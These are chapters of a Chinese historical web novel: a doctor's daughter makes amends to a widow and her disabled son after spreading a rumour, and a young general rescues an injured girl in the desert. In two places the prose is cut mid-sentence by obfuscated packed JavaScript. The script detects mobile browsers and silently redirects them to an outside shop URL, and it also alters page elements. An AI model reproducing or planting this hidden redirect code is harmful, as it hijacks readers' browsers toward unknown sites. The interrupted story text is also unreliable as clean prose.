古来行医，儿科最慎重药量。稚子脏腑娇弱，脾胃为根基，药量仅为成人几分之差，分毫错不得。且咳疾分风寒、风热、痰湿、食积，症状纵然相似，立方用药却各有定规。 调理小儿咳疾，素来需先察腑行，再辨寒热。腑行溏稀，多属寒湿痰饮；腑行燥结，是食积痰热。 此两方同治小儿风寒痰饮之咳。以第十三方为准，凡见寒饮兼腑行溏稀者，应当去麻黄而不用。麻黄发汗散表，葶苈泻肺逐水，小儿肝脏稚弱，本就不宜二药同用。偏第十七方竟麻、葶两味峻药尽数保留，药量分毫未减。稚子元气本就单薄，峻药服用过量耗伤肺气，极易生出危症。 眼帘微垂，敛了目光，周福善暗忖，此方是在《伤寒论》的基础上衍化而来。 她从七岁开始便日日誊写药方，经手的方子早已超过今日的五十张。起初，帮着窈娘誊方时，她也犯过类似的疏漏。 那时，她一心只顾着快快誊完，好出去嬉闹，没料到粗心地将两味药材的顺序誊颠倒了。事后被窈娘罚抄了许久，指尖都磨出了水泡，自那以后，她便再也不敢这般马虎大意了。 其实寻常的轻微溏者，只需配以小儿常用的华盖散随症加减便可。不用麻黄，不用葶苈，只用紫苏、杏仁等一类温和药材，轻散风寒、平和化痰即可。 可窈娘给具争誊写的，偏偏是这种超出儿科常理的方子，他竟还能一眼看穿两方暗藏的端倪。 周福善放下纸页，下意识又托起腮，目光追着门口空荡荡的石阶。人影早已走远，只有流云掠过天光、清风卷着尘土掠过檐角，淡淡落在阶上的影子。 她忽然想起自己方才说“说不定还会再碰面”时，具争回了句“一定会的”。 她当时没细想，现在咂摸起来，只觉此人如同一本精工缮写的书，从封皮到内页墨字，无一不妥帖周全。这般太过标准无瑕，反倒令人忍不住想翻至卷末，一窥究竟到底写得什么。 思绪略微沉了沉，周福善转过头，下意识摸出袖中藏的一颗饴糖，轻轻捻着糖纸。 她本没打算吃，只是心里发空，手里总得攥点什么才安稳。 窈娘闻声抬眼看她，随口打趣：“你近来不是闹牙疼？怎还偷偷揣着糖？” 周福善一怔，低头瞧了瞧手里的饴糖，轻声解释：“这不是我要吃的，是捡来的。” “捡来的？”窈娘眉眼微挑，带着几分存疑。 “真是捡的，是我在冯娘子家门口捡到的。” 话音刚落，周福善忽然抬头，眉心猛地蹙起，语气急切：“窈娘，我想起来了！那西市口冯家炊饼铺的小孩……实在是奇怪得很！” “是吗？”窈娘低回头，“怎么个怪法？说来听听。” 周福善手心攥着糖，伸手比划着：“就看着呆头呆脑的，一个劲儿盯着我笑，也不说话。那茶楼说书的老道不是说了吗？冯家娘子家这孩子是去年夏天里得了顽疾，药石无医，中元夜里被那鬼替婴换了魂，才变成了这副模样。” 岂料窈娘听了，反觉着好笑，抬起头，用青葱纤指轻点了点她额头，调侃：“亏你平日总说自己机灵，这般说辞竟也当真了？” 话音微顿，窈娘低头拨着算珠，轻叹着解释：“那冯氏孩儿本是早产，胎里脐带缠颈，憋得气血不通、脑腑受损，生来便有些愚钝。落地时啼哭微弱，养了好几岁，话也依旧说不利索。” “早产？先天愚钝？”周福善面露疑色，“不对啊，窈娘你怎么会连冯家的家事，都知道得这么清楚？” 窈娘敛了动作，抬眸望她，正色道：“城中女科医馆本就寥寥，冯娘子临盆日，自是请我去瞧的医。” 周福善自然托起下巴略一沉吟，心存疑窦，蹙着眉追根究底问道：“既然冯宝儿天生脑袋就不灵光，那说书老道干嘛要无端捏造说他是被鬼婴换了魂？” 窈娘身形微滞片刻，低头复又拨弄算珠，徐徐答道：“此事我也未明晰。只偶听来看诊的高娘子闲谈。说是那茶楼说书人本是个无妻无子之身，先前尚且夸赞冯娘子独力持家、贤淑能干，不知后来何故，反倒开始编排起她家是非来。” 周福善心头一颤。若窈娘说的话属实，那方才石天流满大街的散播闲话，岂不是反倒助长了流言，越传越歪？ 她心里一下子慌了。 再这么任由谣言到处乱传可不行，只会越传越离谱。她万万不能就这么干等着，必须赶紧想个法子补救才行。 视线一瞥，落在墙角的竹篮上，心里顿时便有了主意。 “一十八、一十二、一十七……” 乡野小径上，周福善挎着只覆着绢料的篮子采摘野果。抬手撷果的同时，一双眼却漫不经心地瞟着别处。 那边低矮的小土坡下有户人家。 她今早才来爬过墙头，甚至摔了一跤。 周福善凝着那道紧闭的老旧木门，久久未曾挪开视线。可直到最后，也未能等到半个人影从门内走出。来此之前，她还特意绕去西市口，寻了冯家的炊饼铺，却只见铺门同样紧闭，连一丝缝隙都未曾留。 一颗心在原地彷徨得七上八下，满是躁意，周福善在原地深深吸了一口气，终究是缓缓抬步，走到了那扇老旧的木门前。 她抬起手，指尖悬在半空顿了顿，才迟疑着轻轻叩响了门板。 屋内之人应声极快，快得周福善侧身抿紧双唇，还未完整理清措辞，那扇紧闭的门骤然被人从里拉开。 妇人一身荆钗布裙，发丝梳得整齐，脸上半点脂粉未施，素净眉眼透着几分疲惫。身上那件天青色布衫被浆洗得发白，边角都磨出了浅淡的毛边。 周福善看着她与窈娘年纪相仿，应当尚未满三十，可乌黑的发间，却已掺了好些刺眼的白发出来。 冯娘子同样怔怔地望了她一眼，才开口：“……你是？” 闻言，周福善连忙上前半步，笑着应声：“我娘是城南周氏女科医馆的周娘子！娘让我送些甜瓜、野果过来，顺便问问小弟弟近来身子如何？”说罢，她微微抬手，示意了下手中的竹篮。 冯娘子微一怔神，随即反应过来，沉郁的面上瞬间漾开一抹浅笑道：“既是周大夫的女儿，快请进吧。” 周福善应声，旋即跟着走进了屋。心底不由暗自窃喜，果真还是周大夫的名头好使。 行至里间，冯娘子先取粗陶碗斟了一碗水，方才落座，轻声叹道：“家中清贫，没什么好招待的。自先夫早逝，许久未曾有人登门，难为周大夫还能记挂着我们母子俩。” 周福善捧着陶碗，听了此话，心头骤然一虚，脸颊倏地泛起薄红。只含糊冲对方扯了扯嘴角，垂着头，几乎要将整张脸都埋进了碗里。 哪里是什么窈娘特意叮嘱她来关照的，分明是她做错了事，借着窈娘的名头来补过的。 轻轻放下碗，周福善抬眼看向对方，又轻声问道：“对了，冯娘子，今日怎么没见着宝儿？听闻他去年生了场病，如今可好些了？” 冯娘子听此言，本就黯无光彩的脸上更添几分阴翳，她偏头视线落在院中，轻声道：“在院里呢。” 院里？周福善连忙侧身，转头朝外张望。四下一扫，果见墙角处蜷着一团浅褐的小小身影。方才她进门时只顾留意近处，竟全然未曾察觉这缩在角落的孩童。 周福善身形微僵，心头一沉，起身对冯娘子道：“那我去看看他。”话音落罢，她放轻脚步，缓步挪到墙角，立在那孩童身后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她悄悄侧头觑了眼冯宝儿的神色，见他眼底漾着几分雀跃，忽然拍着小手，软糯开口：“……新蜻蜓！蜻蜓，要大大的！” 周福善听了，脑袋蓦然往下一耷拉，暗自腹诽：这般年纪的小鬼，可真是难伺候得很！ 初秋的日头炙热，大片金光笼罩在院里明晃晃的。 周福善缩在墙角的阴影里，用一把小书刀认真地削着一小截翠绿的竹片。只见她手上动作利索干练，一炷香时间，就把一只栩栩如生，能灵活在指尖翻飞的竹蜻蜓给做了出来。 虽说她已到金钗之年，可相较于冯宝儿，也只算是略微年长了几岁。因此，制作这种寻常孩童家的玩具，简直不要太得心应手。 周福善抬手用袖口拭着额间的薄汗，一面将那只竹蜻蜓，喜滋滋地递给身侧的冯宝儿。 冯宝儿乖巧地坐在一侧的小凳上。 岂料他只淡淡瞥了一眼，便伸手将竹蜻蜓推了回来，巴掌大的小脸上满是不满：“要会飞的，大大的。” 周福善低头瞧了瞧手中的平衡竹蜻蜓，心里暗忖，这不比寻常只能飞的竹蜻蜓有趣？ “再大些就飞不起来了。”她耐着性子柔声哄劝，“你瞧我这只多好看，虽然不能飞，但能停在指尖呢。”说罢，她指尖抵着竹蜻蜓嘴尖，微微翘起食指，轻轻晃动了两下叶片。 无奈，冯宝儿仍是那副充耳不闻的模样。 周福善斜睨了他一眼，心里忽然涌出几分无奈，抬手的念头转瞬即逝。想了想，她收回攥起的拳头，只含糊地低声嘟囔了句：“讨人厌的小鬼头。”便低头，默默重新动手制作起来。 薄日渐沉，暮色漫过斑驳的院落。周福善垂眸，指腹摩挲着竹纹，她整整搓磨了一午后的竹片。几经修整打磨，终于成了一只通体赭红的竹蜻蜓。 微风掠过发丝时，掌心搓着杆轻轻一旋，远远望去，恰似一片灵动翻飞的枫叶。 “拿去吧，这只会飞，是绿竹蜻蜓它奶奶——红竹蜻蜓。” 周福善将新削的竹蜻蜓递了过去，指尖复又拨弄着原先那只青绿色的，语气淡淡带了几分调侃：“可惜咯，这‘孙子’徒有好看模样却不中用，比不得‘奶奶’只管自在高飞，更招人喜欢——” 10. 竹马 冯宝儿这次接过红竹蜻蜓木讷地怔了怔，转瞬便眉眼舒展，喜笑颜开起来。他垂着眸，手指细细摩挲着蜻蜓的叶片，小声喃喃：“会飞的……小青的奶奶，小红！” 周福善：“……” 话说不利索，倒是挺会有样学样。 没一会儿，冯娘子端着两碗凉饮走了过来。周福善起身接过其中一碗，轻声道谢。冯娘子则端着另一碗，小心递到还兀自兴奋的儿子唇边，温声叮嘱：“慢点喝，别呛着。” 三人坐在檐下，听着屋外鸟雀叽喳飞过绿林的声响。 冯娘子侧身理了理冯宝儿头上歪斜的小帽，忽然笑着说：“已经很久没人愿意这样陪宝儿玩闹了。” 周福善指尖轻抵着陶碗边沿，听见此话，抿了抿唇，连忙将碗轻轻搁在脚边地面，轻声开口：“冯娘子，有个疑问……不知该问不该问？” 冯娘子侧过头，朝她浅浅一笑，语气了然：“你是想问去年中元‘替婴还魂’那件事吗？” 周福善瞳孔微微一缩：“原来您都知道。”她按捺不住心底满腹疑惑，轻声追问，“既然都是旁人胡乱造谣，您为什么不主动出面说清楚呢？任由那老道疯言疯语，对宝儿的影响也不好。” 冯娘子顿了顿，话音淡然：“旁人哪里肯信呢。”她侧头望向正举着竹蜻蜓玩耍的宝儿，语气平静无波：“难道要我挨个去说，宝儿不是什么鬼孩子，只是我这个当娘的没用，害得他自小体弱，天生就和寻常孩子不一样吗？” 周福善一时语塞。 这点她从未想过。她向来以为，流言是假的，只要解释清楚就没人信了。就如往日帮卖熏醋的同窗辩驳回击一样，不需要隐忍，只需要理直气壮、据理力争就可以。 可是她偏偏忘了，人言可畏，市井街巷不像学堂。就算能撇清鬼故事的谣言，闲言碎语也不会断绝；乡村邻里也不像薛丫头，被人阴阳怪气顶撞，就赌气作罢，懒得再计较。 “自从宝儿他爹当年在战场做了逃兵归来，邻里间的闲话就从没断过。再加上宝儿平日里的模样行为，和别家孩子不一样，这些零碎事儿堆在一起，反而越发使人会觉得那些闲话不是瞎编的。”冯娘子轻轻叹了口气补充，“我又何苦去跟别人掰扯这些是非长短？” 周福善心头骤然一沉。 原来街坊邻里深信那鬼怪传言，从来不是故事有多逼真，而是打心底里便嫌弃这一家人。冯娘子就算澄清了“鬼孩子”的谣言，也抹不去旁人骨子里的偏见与轻视。 有些话说出来，反倒比不说出来，更令人难堪与心酸。 冯娘子话落下，冯宝儿脑袋微微一垂，顺势伏在她膝头，眼皮耷拉着，含糊地呓语道：“娘，困。” “睡吧。”冯娘子指尖轻轻摩挲过儿子稚嫩的小脸，柔声低哄，“娘唱童谣哄你。”说完，她手指轻轻拍打着他的脊背，便缓缓唱道： “燕儿燕，飞云天，轻轻落在我檐前。替我捎句话信到边关，可曾见过我爹容颜？青布衫、红鬃马，黄土泥哨腰间挂。 爹呀爹，听我话，宝儿乳牙已落下，新牙迟迟未发芽；个子蹿得高高显，门槛难把我拦下。燕儿燕，你跟爹说，炊饼温温茶未凉，家中一切皆顺遂。莫催归，莫埋怨，莫将家中常挂牵。 燕儿燕，慢些飞，仔细看，这是咱家旧屋檐。今春衔泥莫走偏，他日早早归来落我梁间。” 周福善挨着冯娘子坐在身侧，侧头静静听着。这首童谣她从未听过，却也知晓，此地乃是边塞要地。年年岁岁，不知有多少人家的父兄，都要奔赴边关从军。 有人一去自此再无音信。有人满腔热血而去，到头来放不下家中妻儿老小，拼了命想活下去，活不下去便只能仓促而归，最终不过是落得个黄沙掩骨的下场。 周福善没说这些沉重的话头，她单手支着腮，眉眼弯弯的岔开话题：“我小时候，我窈娘也总给我唱童谣，不过她都是唱什么，关于紫苏、当归之类的药材歌。我本来精神得很，半点不想睡，结果听着那干巴巴的一连串草药，无聊到眼皮直打架，一个闭眼，不知不觉就睡过去了。” 冯娘子看着她笑了笑，指尖下意识轻抚过冯宝儿圆润的后脑勺。戴着的小帽后面系着绳结，此刻活脱脱得像两条燕子尾巴。 辞别冯家时，太阳已经落山。周福善挎着竹篮立在门外，冯娘子牵着宝儿站在门槛边。宝儿手里还攥着那只新削的红竹蜻蜓，神色间满是不舍。 周福善垂眸望他一眼，略一思忖，终是抬眸对着冯娘子坦白相告。她抿了抿唇：“冯娘子，有件事，我认为应该同你老实说清楚，今早趴你家墙头的，原是我。” 她垂着头，声音低了几分补充：“我那时并不知道宝儿是这种情况，只听信了流言……情急之下，也跟着胡乱传了些闲话。” 周福善抬头，看着冯娘子听了此话身形微僵，指尖倏然抠紧了指节，再度垂下眼眸，不敢再看她。片刻后，她才听得对方低低叹了口气：“罢了。我晓得并非你本意。” 话音落，冯娘子上前一步，抬手轻按在她肩头，温柔替她拂去衣上沾着的一小片鸟羽。 感受到细微动静，周福善慌忙抬眸，心头骤然一热，鼻尖微微发酸，一时竟说不出话来。 当夕阳的最后一抹余晖从墙缝间驶离，宝儿举着红竹蜻蜓，朝她挥了挥小手，怯生生地说道：“明天、明天来。” 周福善望着那抹鲜亮的红色，又看向妇人眼底隐忍的温柔，忽然觉得先前那些轻信流言的莽撞，愈发愧疚难当。她看向宝儿挤出一个笑容，爽快应声：“嗯。只要你不吵着要我做小青它爷爷我就来。” 冯宝儿使劲摇头：“不要，宝儿不要蜻蜓爷爷。” 周福善笑了，伸出手轻轻捏了捏他难得白净的小脸，许下承诺：“行。那我下次还来，也给你带很多的哥哥姐姐来陪你一块儿玩。” 冯宝儿听了眼睛顿时亮得像两颗星子，他当即扶着门框，两条腿缓慢地越过门槛，上前半步，就伸出手指，道：“拉勾勾。” 周福善顿了顿，缓缓伸出指尖，轻轻勾住他的小指头：“拉钩上吊，一百年，不许变，变了就是大王八！” 待人影彻底隐没在小径尽头，冯娘子方才转过身。冯宝儿却抬手指着天际高飞的几只燕子，忽然脆生生笑着叫道：“爹爹……” 冯娘子见状，缓缓回身蹲下，伸手将儿子搂住，视线跟着抬眸望向那些蹁跹飞燕，语气温柔缱绻：“秋天来了，燕儿们要搬家到南边去了，等来年春暖，爹爹便会再化作空中飞得最高的一只燕子，回来看宝儿。” 冯宝儿重重应了一声“嗯”，随即摩挲起了手中的红竹蜻蜓。竹蜻蜓旋即高高飞起，载着未尽的思念和念想，朝那几只即将南迁的燕子，悠悠飞去。 边关铁血埋忠骨，燕子年年代客归。 入了夜，一户人家低矮的平房内。 “又是周福善那鬼丫头撺掇的是不是？你个没出息的窝囊东西！整天闲得没事干，就只会跟在那死丫头屁股后头瞎转悠。有本事自己闯祸自己担，摔死了也是活该！你还赖在这儿躺着做什么？赶紧给我起来，别杵在老娘跟前碍眼，看着就心烦！” “你这老婆子，嘴就不能消停一刻？你瞧瞧你娃这后背，摔得青一块紫一块的，你真半点不心疼？” “我心疼他？也得看他做的什么混账事！整日扒人家墙头，满大街野跑疯闹……我想想，都替他臊得慌！” “阿娘，是我自己要跟福儿去的城西冯家，跟她没关系，她没撺掇我，你不要说她。” “我的个娘嘞！你听听，你的好儿子已经中了那死丫头的邪了！” 夜色沉凝，万籁俱寂，四下人家早已熄了灯火安歇，唯余城南头的石家，一盏羊油摇曳昏黄，正上演一出‘母慈子孝’的经典闹剧。 一家人拌嘴不过多时，终随妇人愤然摔门的巨响，以及一男声的沉沉长叹，渐落帷幕。 顷刻间，屋内的光影黯了下去。外面只隔了片刻传来声音。 “布谷布谷～” 石天流闻声微动，胡乱抓起手边的一件外衫便往身上套。推开窗时，正好迎面撞进周福善眉眼弯弯的桃腮杏脸里。 周福善倚在窗沿，双臂环胸，笑意狡黠道：“石大牛行啊你，倒是有长进了，这么快就认出来是我。” 石天流抬手挠了挠后脑勺，低声应答：“福儿你的声音听惯了，想认不出都难。” 周福善依旧环着臂，眼波轻斜，略带嗔恼地轻啐了一句：“少耍嘴皮子。”随即，她低头从袖中摸出一个小白瓷瓶递了过去。 “这是跌打散，专治跌打损伤的，看你今早摔得不轻，每日一到两次外用，你记着。”说罢，她将东西一把塞进他怀中，便欲要转身往外走。 石天流却在身后叫住她：“……福儿？” 周福善转过头。 “谢谢你还想着我。”石天流攥着药瓶笑得有点呆，“不过，我的伤真的一点都不痛了，你千万不要担心。” 周福善侧过身，没有按套路接牌，话音寻常地说：“谢什么啊，你是为了帮我才被你阿娘骂的，我这点小事跟你的伤比起来，根本算不得什么。” 石天流听了，赶紧又心虚地小声辩解：“你别听我阿娘瞎念叨，她就是嘴巴比茅坑边的石头还硬，看着凶巴巴的，心里其实最心疼我了，就是拉不下脸面直说罢了。” 周福善没忍住笑：“哪有人会这么形容自己娘亲的。不过，那肯定的咯。没有当娘的会真不心疼自己的孩子。”她说完再次转身，石天流又叫了她一回。 她这次没好气地回头白了他一眼：“石大牛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549440|204288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你到底要说什么？” 话音刚落，石天流却神色诡秘，抬手一把阖上窗扇，闪身缩回了屋内。 周福善立在窗下，摸不着头脑。 不多时，只见石天流再探出身来，手里竟端着一只细白瓷碗，盛着满满一碗汤水，缓步从院里走近。碗中汤水映照着月光微微晃荡，却一滴也没洒落。 石天流捧着碗在身前半步停下，轻声道：“这叫酥蜜水。据说用酥酪和蜂蜜做的，凉州城中难得的稀罕物。听说可甜了，还解渴，我阿娘今夜从酒楼打杂带回来的，我没舍得喝，想着留给你，没想到这会儿你就来了。” 闻言，周福善小心地捏着碗沿接过，垂眸借着月色仔细打量。白瓷碗盏里盛着澄黄透亮的甜饮，几片橘黄花瓣浮漾汤面，看着甘甜可口。 她没忍住，端起碗，当场就喝了一口。 “诶，你慢点喝。”石天流关切道，“小心呛到。” “哇，好甜。”周福善饮完没有形象地用袖口擦了擦嘴，不由惊叹一声，“没想到，凉州竟还有此等稀罕物享受啊。” 两人坐在大门外的檐下，有一遭没一遭地闲扯着。 “真的啊？那照你这么说，冯宝儿当真不是什么鬼孩子。”石天流单手托着下巴，状似思索地轻叹。 周福善双手捧着尚带温热的肉饼，咬下一口，才慢条斯理地开口：“本就是我们没弄清事情的真相，平白地冤枉了人，甚至满大街散播闲话。”她沉沉地叹了口气，“往后她们母子二人，日子怕是更不好过了。” 石天流闻言眉心微蹙，顿了顿，他又疑惑开口：“可是不对啊，既然这冯宝儿本就天生不同普通人家小孩，那茶楼说书的老道，干嘛要编那么吓人的故事？” 周福善轻轻摇了摇头：“兴许是瞧着她们孤儿寡母，无依无靠，好欺负罢了。” 岂料石天流一听此话，当即攥紧拳头怒吼一声：“实在是过分！”他一时血气上涌，全然忘了自己还立在家门外，屋内顿时便传出动静：“谁？谁在外面？石大牛你大半夜不睡觉！在门口跟狗过夜呢！” “阿娘！我、我饿了，找点东西吃！”说罢他重新坐下来，冲周福善压低声音道：“我们必须得给这臭老道一点教训，让他以后再也不敢胡说八道！” 周福善捧着肉饼，侧头怔怔望着他，眼底满是诧异。似乎无声在说：这还是我认识的那个，最胆小怕事的石天流吗？ 石天流看出了她眼底的茫然，挠了挠后脑勺，语气直白又愧疚，低声开口：“当初那闲话，本就是我嘴快，第一个满街散播的。你半点没把我供出来，反倒还主动去冯家，陪着那孩子解闷，我总该做点事才是。” 说罢，他抬手拍了拍胸脯，一脸正色地补充道：“我阿爹常教我，男子汉大丈夫，一人做事一人当！这事，我定要替冯娘子她们母子讨回公道！”说罢，他眼神坚毅地望着远方。 “我倒是想把你供出来，只是一想到，除了害你被你阿娘骂，半分作用不起。不过，”话音稍歇，周福善挑了挑眉，斜着眼睨他，“你打算怎么做？” 石天流冲她嘿嘿一笑，眼底透着几分狡黠：“你且等着瞧就是！” 没过多久，当那茶楼的说书老道披着件玄墨外衫急匆匆从自家屋子出来时，抬眼一看，自家窗棂上糊的窗纸，竟被不知从哪飞来的石头砸出了个硕大的破洞。他当即气得四下张望，扯着嗓子嚷嚷：“是谁？哪个浑小子，敢砸破我家的窗！” 没等他寻见始作俑者，便见自家栅门边，无端多了一条大黄狗与一只……雄鸡？ 那大黄狗一见着他，兴奋得立即吐着舌头撒欢扑上来，缠得他避无可避。另一边的大公鸡则咯咯啼叫，径直往屋内亮着灯烛的敞门里钻，时不时昂首提鸣两嗓子。 老道一边手忙脚乱应付扑上来的黄狗，一边急声阻拦那只鸡：“不许进去！不许进去！屋里皆是珍贵的字画，可别给你这个东西糟蹋了！” “到底是哪家臭小鬼干的好事啊！！！” 不远处的墙角阴影里，两个半大孩子正悄悄潜伏着，目不转睛盯着院里的动静。 少女视线向下一瞟，轻嗔道：“这就是你绞尽脑汁想出来的法子？未免太过孩子气了。” 少年仍凝望着前方，低声辩解：“这已经是我能想到的最好的注意了。鸡是我婶家的，我还得赶在天亮前悄悄把它送回去；大黄狗是我叔家的，我拿根棒骨才将它骗来；棒骨是我娘准备明日炖汤用的，我还得悄摸放回灶房。” 周福善：“……” 她抬手一掌便按在了脑门上，道：“你啊你，可真是伤敌八百，自损一千呐。” 可转念一想，这样做虽然不能帮冯家挽救什么，只小小惩戒一番那老道，倒也解气。 毕竟，今夜可真是实打实的鸡飞狗跳了。 11. 皓月 正午的赤日如熔金落在热浪中翻涌，将细沙烘得银光灼灼。一行人马正踏着滚烫流沙在瀚海中央艰难缓行。 大漠辽阔无边，远处商队驼铃声迤逦而来，伴着马蹄碾过黄沙的脚印，声声错落，勾勒出这片荒漠里独有的苍茫韵律。 少年骑乘一匹黑青骏马行于队伍最前，身后麾下部曲依序相随。 他稳坐马鞍之上，一身灰蓝色劲装泛着温润哑光光泽，肩头松松斜挽一袭浅灰披帛，长风掠过，翩然翻扬。后腰悬佩着一柄类环首长刀，玄色刀鞘沉敛肃穆，人静立鞍上，一股凛冽锐气自周身缓缓散开。 日光晒面，少年微微虚着眼，目光沉沉望向茫茫前路，忽然冷声轻问：“走了多久了？” 身侧并辔而行的男人，任凭风浪猎猎吹动银质肩甲衣袍，语气淡然如常：“方才三日。” 少年听罢随即沉默，并未再接话。不过转瞬，驼铃声已渐次远去，唯有马蹄踏沙的声响，在荒漠中格外孤寂。 刚走出没几步，一旁男人拢紧缰绳，目光扫过四下寸草不生的沙地，状似随口地提醒：“霍小将军，此番赴北疆上任，前路尽是风沙苦寒之地。北疆瀚土无垠，穷荒石城，往后可再无河西故地的美酒佳肴了。”说完，他微微摇头，神色间隐隐有几分不以为然。 霍承微微垂落目光，并未立即接话，只抬手轻抚过马鬃，道了句：“城中美酒虽好，终究养惰性。”话刚落下，他方才侧眸望向对方，语气平和：“冯牙将长年随义父征战四方，想来早该习惯粗茶淡饭。如今我只是口味照旧，又有何难？” 冯玄目光在霍承身上凝定片刻，方才默默收回视线，掌心不自觉攥紧了手中缰绳。这话看似无心，偏偏令他无从置喙，他只得沉沉抬眼，望向身前漫漫无尽路途，闭口缄默。 心底却暗自忖度：这少年未及弱冠，便能获封将军之位，哪里是凭什么真刀真枪的本事挣来的。不过是仰仗镇北大总管义子的殊荣，得了旁人求之不得的机缘罢了。 不知行了多久，队伍终于驶出茫茫瀚海。前路黄沙褪尽，入目尽是乱石戈壁，朔风卷着砾石呼啸而过。 这片戈壁旷野辽阔，遍地砾石，满目苍芜荒凉。远处低矮峻岭连绵盘绕，山势曲折绵长。 待到残阳余晖漫过光秃山脊，暮色渐浓时，人马方才缓缓行至黑岭弯折之处。忽地，队伍之中陡然传来一声呼唤：“将军快看！前面好像有个人？” 霍承闻声，循着下属手指方向望去。 ……女子？ 原是山道深处之间竟有一名女子正静静斜倚着山壁，头颅歪向一侧。因其微微侧身背对着来路，容貌不可得见，仅凭一身荔色粗布衣衫，可辨出是位年轻女子。 霍承神色瞬间正肃。甫一微微抬手示意队伍原地止步，随即纵身跃下马，打算亲自上前一探究竟。 他正欲迈步，身旁的冯玄紧跟着翻身下马，伸手按住他手臂，沉声说：“小将军不可贸然往前。” 冯玄目光瞥向那女子疑心道：“此处乃明黎山险地，山势盘曲幽深，素来是夷狄与盗匪猖獗之地，荒僻异常、人烟绝迹。且天色就快黑了，寻常女子怎会孤卧于此，多半是敌军设下的圈套，恐引我们入山设伏。” 身后下属们闻言，议论声纷纷跟着私语：“听闻明黎山常有北狄斥候潜藏，处处可藏兵马，莫非这就是其中一环？” “多半是敌军的美人计，引我们合围……” 霍承闻声，身形微微一滞。 将士们所言非虚。明黎山地势复杂，最是易设埋伏。如今敌情不明，贸然上前，确实凶险难料。可转念一想，如若不是陷阱，一介女子孤身留此，亦然危险重重。 霍承回过神，脚步停在原地并未贸然往前，目光先朝四周扫去，旋即，俯身捡起脚边的一颗小石子。 他并未将石子对准女子头部，而是轻弹向她身侧的山壁。 若她是佯装昏迷，闻声必然会下意识绷紧身体；若是真的失去意识，便会依旧毫无动静。 石子撞击岩壁发出一声轻响，众人目光一瞬不瞬，紧紧锁在那道单薄的背影上。 碎石尘土簌簌落下，零零散散落于女子发间，她竟纹丝未动。 一众下属们面面相觑，心中疑窦丛生，莫非是一具尸身？ 众人立在原地，一时进退两难。眼见薄暮垂沉，暗夜将至，霍承眼底掠过一丝不易察觉的迫切。 冯玄看向他，忽而沉声道：“我去探探。”话音未落，他的指腹已然按上腰间横刀刀柄，蓄势待发。 “不必。我去。”霍承低声指挥，“你率众人在此留守，见机行事。”说罢，他自腰间抽出一柄刀鞘饰有黑金螭龙纹的短匕首，反手稳稳握在手心。 冯玄脚步一顿，得令只好驻足原地，目光却沉沉凝着霍承缓步向前的背影。眉头紧锁间，原本搭在缠绳刀柄的手，不自觉攥得更紧了几分。 霍承缓步及近那名女子身后，驻足站定，试探性轻唤：“姑娘？” 没有回应。 霍承复又开口：“天色将暮，你孤身在此，可是遇见了什么难处？” 依旧杳无回音。片刻迟疑后，霍承放轻脚步，缓缓绕至女子身前。 一阵晚风吹过山间，轻柔拂开她额间散乱的发丝。霍承这才看清，竟是位稚气未脱的小姑娘…… 年纪不过十三四岁，面色苍白，唇瓣因干涸失尽血色，已然起皮。双颊虽蒙着尘灰，长睫紧闭合，却难掩眉目间的英气灵秀，那份骨子里的倔强，自沉睡中也隐隐透出。 霍承缓缓蹲下身，下意识便要伸手去探她鼻息。余光瞥见冯玄脚步忽顿，抬手欲言又止，唇齿微张了张，终究沉默伫立。 霍承没有应声。视线凝在少女苍白的脸上，指尖小心翼翼地向前探去。 气息虽弱，好在尚有生命迹象。 他视线自然再向下一瞥，忽见少女衣衫下摆隐有暗红血渍，一只手牢牢捂在腹间。 他动作微顿，缓缓收刀起身将匕首重归腰间，回头对着身后人道：“只是个昏迷的小姑娘，速传队医过来。” 冯玄闻言一怔，快步上前细看。果真是个年纪尚轻的少女，气息微弱，面色萎靡。当即回身扬声喝道：“张队医，速来诊治！莫要耽误行程！” 队医是个年逾五旬的粗人。因其年轻时略通岐黄之术，被朝廷下旨征兵时，主动毛遂自荐。长官便将他发配给了驻扎凉州的霍家军营，专司处理伤患。此番随军赴任北疆，他本仗着年长、身子骨羸弱千推万托，恰逢赶上镇北大总管卢信巡查军营，一声死令下达，才不得不随行。 此刻张队医正蔫头耷脑地坐在马背，他与小卒同乘一匹骏马。听见传唤，瞬间如惊弓之鸟般猛地抬头，晃悠踩着脚蹬踉跄翻身下马，一路小跑赶了过来。待行至近前，先下意识在衣襟上蹭了蹭汗湿的手心，方才局促地抬起头。 在冯玄一个略带威严的目光示意下，他连忙蹲下身凑近，指尖搭上少女腕脉。 霍承立于一旁，见他倏然眉头紧锁，神色复杂难辨。低头先略微看向那少女裙摆上的异样，随即又轻轻掀开她裙摆一角，赫然见内里已被大片暗红浸染。 诊脉完毕，张队医起身拢手走近，神色为难，欲言又止。 冯玄沉声发问：“瞧出什么没有？” 张队医迟疑片刻，回道：“症状倒是看得明白，只是……队伍中皆是男子，实在不便当众言说。” “有何不便说的。”冯玄皱眉不耐。 霍承抬手止住他的话，淡声道：“天色已晚，先将人带上，继续赶路。” 冯玄听了，立刻出声劝阻：“不可。此女来历不明，如若贸然带走，唯恐是敌军故意设下的圈套。” 霍承尚未应答，一旁的张队医反而低声插话：“奸细断然不是……依属下看，倒是个身世可怜的苦命人。” 冯玄仍有顾虑，眉头拧成一团，正要再劝，却对上霍承沉静到不容置喙的眼神，到了嘴边的话终究咽了回去。 “寻一副担架，暂且抬上随军。”霍承淡声吩咐一句，目光落回那少女苍白的脸上，“先稳住伤势，待入夜安营，再细查她的来历。” 